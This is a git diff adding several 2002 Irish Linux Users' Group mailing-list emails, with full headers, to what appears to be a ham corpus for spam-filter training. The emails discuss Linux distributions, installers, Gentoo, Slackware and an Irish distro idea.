/dev/null +++ b/bayes/spamham/easy_ham_2/00383.ea5d23c0685f7342015b94944d46ed8e @@ -0,0 +1,94 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2FC9E4413B + for ; Tue, 13 Aug 2002 05:22:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D9Aeb24723 for + ; Tue, 13 Aug 2002 10:10:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03680; Tue, 13 Aug 2002 10:09:38 +0100 +Received: from lhidns.gov.ie ([193.1.228.222]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03649 for ; Tue, + 13 Aug 2002 10:09:32 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.1.228.222] claimed to + be lhidns.gov.ie +Received: from gw.educ.irlgov.ie (educ-gw.gov.ie [192.168.6.1] (may be + forged)) by lhidns.gov.ie (8.9.3/8.9.3) with ESMTP id KAA13418 for + ; Tue, 13 Aug 2002 10:08:58 +0100 +Received: (from fwtk@localhost) by gw.educ.irlgov.ie (8.8.6/8.8.6) id + LAA14004 for ; Tue, 13 Aug 2002 11:28:28 +0100 (BST) +Received: from unknown(10.0.0.13) by gw.educ.irlgov.ie via smap (V2.0) id + xma013992; Tue, 13 Aug 02 11:28:06 +0100 +Content-Class: urn:content-classes:message +Subject: RE: [ILUG] SUSE 8 disks? (thread changed slightly) +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Tue, 13 Aug 2002 10:08:38 +0100 +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Message-Id: <9C498074D5419A44B05349F5BF2C26301CFA8F@sdubtalex01.education.gov.ie> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [ILUG] SUSE 8 disks? (thread changed slightly) +Thread-Index: AcJCqHcSy7R9PwDESLGG4g7dJO4XCQAAB64Q +From: "Ryan, Shane" +To: +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + KAA03649 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +hmm, I've never used gentoo +so I'll have to take your word +on that. Perhaps something +similar to that Ximian RedHat +dealy would be cool. Like +a gui installer for slackware![1] + +;] + +shane + +[1]I'm shure Patrick V. would love +that.(not) + +-----Original Message----- +From: John P. Looney [mailto:valen@tuatha.org] +Sent: 13 August 2002 10:01 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) + + +On Tue, Aug 13, 2002 at 09:55:49AM +0100, Ryan, Shane mentioned: +> It *is* a good idea though. I've been +> wondering about the same thing for a couple +> of months now but always considered it too +> complicated to carry out. (If that makes any +> sense at all). + + It is to complex. Look at the mess that is gentoo. Just because you can +do something, doesn't mean you should. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00384.26101c9502879b02e44058519cc52b8d b/bayes/spamham/easy_ham_2/00384.26101c9502879b02e44058519cc52b8d new file mode 100644 index 0000000..599978d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00384.26101c9502879b02e44058519cc52b8d @@ -0,0 +1,109 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 08B3743C44 + for ; Tue, 13 Aug 2002 05:22:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:21 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D9Cvb24827 for + ; Tue, 13 Aug 2002 10:12:57 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03927; Tue, 13 Aug 2002 10:11:38 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com + [216.136.173.57]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id KAA03891 + for ; Tue, 13 Aug 2002 10:11:28 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 13 Aug 2002 09:11:26 + -0000 +Message-Id: <004701c242a8$e34983a0$3864a8c0@sabeo.ie> +From: "Matthew French" +To: +References: <20020812204603.GK25331@linuxmafia.com> + <20020812234021.17803.qmail@web13901.mail.yahoo.com> + <20020813073847.GD1858@jinny.ie> +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Date: Tue, 13 Aug 2002 10:07:43 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Kate P Looney wrote: +> Vendors wrote their own wierd-ass installers & config tools to lock +> people to their OS, they added all sorts of functionality that was not +> availible to other OSes to make themselves different from the competition + +I think the words you are looking for are "competitive advantage" or +"differentiation". + +Since most Linux vendors are businesses, they need to make money to +survive[1]. To make money they need to sell products. To ensure they sell +their product, they must provide something that other vendors do not. + +The down side is that this produces many variations of the same product. The +benefit of open source is that there is a common standard which everyone can +share. (The up side is that the competition drives the different +organisations to constantly improve their product offering[2].) + +So unlike SunOS vs AIX vs HPUX vs Tru64, where the API's and available +functionality were often starkly different, Linux distributions are mostly +the same. + +While I may have to look in /var/named on Red Hat, and /etc/bind on Debian, +the binaries are basically the same, as are the man pages. In most cases, +doing a "man named" will reveal the compiled location of the config files. +So long as this is understood, it is easy enough to administer most Linux +distributions. + +I expect that as companies and public sector organisations begin to +understand the open source paradigm, you will find even more distributions +appearing. The reason I believe this is that deriving a new distribution +from, say, Debian requires comparatively little effort. I would see this +requiring slightly more effort than the amount of time many enterprise +admins spend trying to customise the desktops, screen savers and software +distribution mechanisms of their own organisations. + +IMHO, as always... + + +- Matthew + +[1] Depending on your world view, this may be rephrased as "they need to +make oodles of profits and screw the little man to survive." This discussion +is beyond the scope of this list. :) + +[2] The often overlooked problem with competition is that it weakens the +"combatants", leaving the field open for a less powerful force to take over +and entrench its position (in this case I would be referring to Microsoft). +However, I do not believe this will effect the Linux movement as all the +vendors are obliged to work together to a great degree, thanks to the GPL. + + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00385.8005a02bdd6ec9c5beb69a1c4762ba6e b/bayes/spamham/easy_ham_2/00385.8005a02bdd6ec9c5beb69a1c4762ba6e new file mode 100644 index 0000000..13d962b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00385.8005a02bdd6ec9c5beb69a1c4762ba6e @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0F1354413C + for ; Tue, 13 Aug 2002 05:22:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D9F1b24873 for + ; Tue, 13 Aug 2002 10:15:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA04262; Tue, 13 Aug 2002 10:14:02 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA04222 for ; Tue, + 13 Aug 2002 10:13:55 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Tue, 13 Aug 2002 10:30:27 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B09247278@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] SUSE 8 disks? (thread changed slightly) +Date: Tue, 13 Aug 2002 10:30:17 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +> hmm, I've never used gentoo +> so I'll have to take your word +> on that. Perhaps something +> similar to that Ximian RedHat +> dealy would be cool. Like +> a gui installer for slackware![1] +> +> ;] +> +> shane +> +> [1]I'm shure Patrick V. would love +> that.(not) + +Or slackware with ports... not portage. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00386.28f2a049c0a4ca1ba1f4fe3e5ea16356 b/bayes/spamham/easy_ham_2/00386.28f2a049c0a4ca1ba1f4fe3e5ea16356 new file mode 100644 index 0000000..51d90d1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00386.28f2a049c0a4ca1ba1f4fe3e5ea16356 @@ -0,0 +1,85 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E296A4413D + for ; Tue, 13 Aug 2002 05:22:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D9HFb24912 for + ; Tue, 13 Aug 2002 10:17:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA04488; Tue, 13 Aug 2002 10:16:32 +0100 +Received: from lhidns.gov.ie ([193.1.228.222]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA04464 for ; Tue, + 13 Aug 2002 10:16:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.1.228.222] claimed to + be lhidns.gov.ie +Received: from gw.educ.irlgov.ie (educ-gw.gov.ie [192.168.6.1] (may be + forged)) by lhidns.gov.ie (8.9.3/8.9.3) with ESMTP id KAA15158; + Tue, 13 Aug 2002 10:15:45 +0100 +Received: (from fwtk@localhost) by gw.educ.irlgov.ie (8.8.6/8.8.6) id + LAA14319; Tue, 13 Aug 2002 11:35:18 +0100 (BST) +Received: from unknown(10.0.0.13) by gw.educ.irlgov.ie via smap (V2.0) id + xma014309; Tue, 13 Aug 02 11:34:59 +0100 +Content-Class: urn:content-classes:message +Subject: RE: [ILUG] SUSE 8 disks? (thread changed slightly) +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Tue, 13 Aug 2002 10:15:31 +0100 +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Message-Id: <9C498074D5419A44B05349F5BF2C26301CFA90@sdubtalex01.education.gov.ie> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [ILUG] SUSE 8 disks? (thread changed slightly) +Thread-Index: AcJCqTTitk0F0hF0Sq22h5pZGY3+NgAAHm/g +From: "Ryan, Shane" +To: "kevin lyda" +Cc: +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + KAA04464 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +bugger, lost the url to that +site/tarball in question. I have +it on a cd somewhere though. +the bblcd toolkit is similar +but is for building a cd-based +distro.[1] + +shane + +[1]*this time* +http://www.bablokb.de/bblcd/ + +-----Original Message----- +From: kevin lyda [mailto:kevin+dated+1029661657.64143c@ie.suberic.net] +Sent: 13 August 2002 10:08 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) + + +On Tue, Aug 13, 2002 at 09:55:49AM +0100, Ryan, Shane wrote: +> distro. There's even a tarball[1] with this + +segfault. core dumped. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00387.14983abeee965e12a1c3ed0b2c66e5e1 b/bayes/spamham/easy_ham_2/00387.14983abeee965e12a1c3ed0b2c66e5e1 new file mode 100644 index 0000000..4ccf591 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00387.14983abeee965e12a1c3ed0b2c66e5e1 @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9A2D04413E + for ; Tue, 13 Aug 2002 05:22:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:23 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D9IBb24945 for + ; Tue, 13 Aug 2002 10:18:11 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA04583; Tue, 13 Aug 2002 10:17:24 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA04541 for ; Tue, + 13 Aug 2002 10:17:15 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Tue, 13 Aug 2002 10:33:47 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B09247279@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] SUSE 8 disks? (thread changed slightly) +Date: Tue, 13 Aug 2002 10:33:43 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +> > hmm, I've never used gentoo +> > so I'll have to take your word +> > on that. Perhaps something +> > similar to that Ximian RedHat +> > dealy would be cool. Like +> > a gui installer for slackware![1] +> > +> > ;] +> > +> > shane +> > +> > [1]I'm shure Patrick V. would love +> > that.(not) +> +> Or slackware with ports... not portage. + +Where ports==FreeBSD like and portage==Gentoo style, perhaps some would +regard that as a retrograde step. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00388.06d9471d9bb3270cc5caa33d267a1e9e b/bayes/spamham/easy_ham_2/00388.06d9471d9bb3270cc5caa33d267a1e9e new file mode 100644 index 0000000..27f1579 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00388.06d9471d9bb3270cc5caa33d267a1e9e @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 531344413F + for ; Tue, 13 Aug 2002 05:22:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:24 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D9K4b25113 for + ; Tue, 13 Aug 2002 10:20:04 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA04754; Tue, 13 Aug 2002 10:19:05 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp014.mail.yahoo.com (smtp014.mail.yahoo.com + [216.136.173.58]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id KAA04713 + for ; Tue, 13 Aug 2002 10:18:56 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 13 Aug 2002 09:18:55 + -0000 +Message-Id: <006b01c242a9$ee6fdd50$3864a8c0@sabeo.ie> +From: "Matthew French" +To: "Ryan, Shane" , +References: <9C498074D5419A44B05349F5BF2C26301CFA8C@sdubtalex01.education.gov.ie> +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Date: Tue, 13 Aug 2002 10:15:11 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Shane Ryan asked: +> ...but maybe there is general interest in +> an Irish distro. + +I have my own thoughts on this, and would be very keen to create yet another +new (and different) distro. + +Of course, it would require a minimum of EUR300,000 in funding, which is the +reason I have not started this project myself... :( + +- Matthew + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00389.ef7f7367ea40a06b7b085839f5d69f8b b/bayes/spamham/easy_ham_2/00389.ef7f7367ea40a06b7b085839f5d69f8b new file mode 100644 index 0000000..4be8a0f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00389.ef7f7367ea40a06b7b085839f5d69f8b @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Tue Aug 13 10:40:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0B0C343C36 + for ; Tue, 13 Aug 2002 05:39:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:39:42 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D9cOb25641 for + ; Tue, 13 Aug 2002 10:38:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA05830; Tue, 13 Aug 2002 10:36:28 +0100 +Received: from luggage.hts.horizon.ie (gandalf.horizon.ie [193.120.105.3]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA05797 for + ; Tue, 13 Aug 2002 10:36:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host gandalf.horizon.ie + [193.120.105.3] claimed to be luggage.hts.horizon.ie +Received: from hts.horizon.ie (localhost.localdomain [127.0.0.1]) by + luggage.hts.horizon.ie (Postfix) with SMTP id 3AC0736B71; Tue, + 13 Aug 2002 10:32:20 +0100 (IST) +Date: Tue, 13 Aug 2002 10:32:20 +0100 +From: Chris Higgins +To: ilug@linux.ie, iiu@taint.org +Cc: chris.higgins@hts.horizon.ie +Message-Id: <20020813103220.138dac88.chris.higgins@hts.horizon.ie> +Reply-To: chris.higgins@hts.horizon.ie +Organization: Horizon Technical Services Ireland +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i586-mandrake-linux-gnu) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +Subject: [ILUG] Ireland's hub just moved further away from the internet. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +Anyone notice that Esat have started routing most of +their traffic through Concert... I've just had my +first >32hop traceroute since the 1995(ish) + +So much for being at the heart of the Internet ! + +-- + +Chris Higgins +Horizon +e: chris.higgins at hts.horizon.ie +tel: +353-1-6204900 +fax: +353-1-6204901 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00390.faa916d56707c7ea2a82dca0cbabaec9 b/bayes/spamham/easy_ham_2/00390.faa916d56707c7ea2a82dca0cbabaec9 new file mode 100644 index 0000000..44dcad2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00390.faa916d56707c7ea2a82dca0cbabaec9 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Tue Aug 13 10:45:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6254143C32 + for ; Tue, 13 Aug 2002 05:45:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:45:32 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D9kGb25912 for + ; Tue, 13 Aug 2002 10:46:16 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA05300; Tue, 13 Aug 2002 10:27:19 +0100 +Received: from dspsrv.com (vir.dspsrv.com [193.120.211.34]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA05186 for ; + Tue, 13 Aug 2002 10:27:01 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host vir.dspsrv.com + [193.120.211.34] claimed to be dspsrv.com +Received: from www-data by dspsrv.com with local (Exim 3.35 #1) id + 17eXx7-00026G-00 for ilug@linux.ie; Tue, 13 Aug 2002 10:27:01 +0100 +In-Reply-To: <20020813073847.GD1858@jinny.ie> +References: <20020812204603.GK25331@linuxmafia.com> + <20020812234021.17803.qmail@web13901.mail.yahoo.com> + <20020813073847.GD1858@jinny.ie> +X-Mailer: JAWmail 1.0rc1 +X-Originating-Ip: 159.134.151.217 +From: Waider +To: +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Message-Id: +Date: Tue, 13 Aug 2002 10:27:01 +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On 13.08.2002 at 08:42:44, "John P. Looney" wrote: +> Vendors wrote their own wierd-ass installers & config tools to lock +> people to their OS, they added all sorts of functionality that was not +> availible to other OSes to make themselves different from the competition +> (Motif on non-free OSes, incompatible filesystems etc). + +Not sure Motif is a good example, really. When Mozilla was going through its +"Let's Use Motif/Let's Not" phase, Jamie Zawinski mentioned in passing that the +installed base of Motif-bearing systems kicked the installed base of +Linux-bearing systems into a huddled ball. Something, perhaps, to do with the +fact that every +Sun/Solaris box since version mumble shipped with it, plus every HP/UX box, +and +for all I know every other mainstream proprietary Linux. Motif was more a +unifier across Unix subspecies than a differentiator. + +Now, filenames longer than 14 characters, maybe, or the options for ps (are we +sysv or bsd?), or the whole /dev tree, or the libc implementation... + +Cheers, +Waider. +-- +waider@waider.ie / Yes, it /is/ very personal of me. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00391.5fc0c6810ac42e66c4dcc7d6524dd596 b/bayes/spamham/easy_ham_2/00391.5fc0c6810ac42e66c4dcc7d6524dd596 new file mode 100644 index 0000000..d8f85cb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00391.5fc0c6810ac42e66c4dcc7d6524dd596 @@ -0,0 +1,53 @@ +From ilug-admin@linux.ie Tue Aug 13 11:03:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3D82F43C34 + for ; Tue, 13 Aug 2002 06:03:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 11:03:02 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DA3Y626571 for + ; Tue, 13 Aug 2002 11:03:34 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA06983; Tue, 13 Aug 2002 11:02:01 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA06960 for ; Tue, + 13 Aug 2002 11:01:55 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Tue, 13 Aug 2002 11:18:27 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B0924727A@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] SUSE 8 disks? (thread changed slightly) +Date: Tue, 13 Aug 2002 11:18:22 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> Of course, it would require a minimum of EUR300,000 in funding, which is +> the +> reason I have not started this project myself... :( +> +> - Matthew + +It would? +Sounds like you are talking about setting up a company, to be a vendor.... +I'd venture the early days of Debian, Slackware and other involveds there +was no such financing. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00392.1b19fc79c0db6bf32f4736abacac5191 b/bayes/spamham/easy_ham_2/00392.1b19fc79c0db6bf32f4736abacac5191 new file mode 100644 index 0000000..6d5bc4b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00392.1b19fc79c0db6bf32f4736abacac5191 @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Tue Aug 13 11:03:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8822B43C32 + for ; Tue, 13 Aug 2002 06:03:01 